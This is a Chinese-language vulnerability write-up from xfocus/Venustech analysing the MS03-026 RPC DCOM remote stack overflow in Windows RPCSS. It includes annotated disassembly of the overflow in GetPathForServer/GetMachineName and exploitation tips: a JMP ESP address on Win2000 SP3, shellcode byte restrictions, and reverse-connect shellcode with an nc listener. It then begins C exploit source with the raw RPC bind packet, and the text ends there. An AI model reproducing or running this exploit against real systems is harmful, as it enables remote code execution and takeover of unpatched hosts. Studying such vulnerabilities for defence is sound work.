附2 LSD RPC 溢出漏洞之分析 转摘请注明作者和安全焦点 作者:FLASHSKY 作者单位:启明星辰积极防御实验室 WWW SITE:WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET,WWW.SHOPSKY.COM 邮件:flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试,翻译和代码的通用化处理。 邮件:benjurry@xfocus.org LSD 的RPC溢出漏洞(MS03-26)其实包含了2个溢出漏洞,一个是本地的,一个是远程的 。他们都是由一个通用接口导致的。 导致问题的调用如下: hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READ WRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数(第5个参数,会引起溢出),当这个文件名超长的时候,会导致 客户端的本地溢出(在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但 是是用lstrcpyw进行拷贝的),这个我们在这里就不深入研究了(不过这个API先会检查 本地文件是否存在,在进行处理,因此由于建不了长文件,所以要利用这个溢出不能直 接调用这个API,而是构造好包信息以后直接调用LPC的函数,有兴趣的可以自己去试。 ),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候,会自动转化成如下格式:L“\\servername\c$ \1234561111111111111111111111111.doc"这样的形式传递给远程服务器,于是在 远程服务器的处理中会先取出servername名,但是这里没做检查,给定了0X20(默认NE TBIOS名)大小的空间,于是堆栈溢出产生了: 问题代码如下: GetPathForServer: .text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi .text:761543E9 push 5Ch .text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址,只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点 生效 GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] .text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C .text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间,超过就 溢出 .text:7614DB87 inc ecx .text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] .text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 OK,我们现在就需要想法来利用这个漏洞,由于\\SERVERNAME是由系统自动生成的,我 们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包含0X5C,因为这样判 断就是\\SERVERNAME结束了。 下面就给出一个实现的代码,注意点如下: 1.由于RPCRT4,RPCSS中没有JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是 会重定位的,大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE3 2未重定位情况下的。 2。这里使用了反向连接的SHELLCODE,需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系,因为不是整数的话,整个 包的长度会有一些填充,那么 计算就不满足我这里给出的一个简单关系了,会导致RPC包的解析无效果。 4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保证是个内存可写空间 地址。 5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下覆盖SEH,这里就不再多 讲了。 #include <stdio.h> #include <winsock2.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0 x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0 x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0 x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
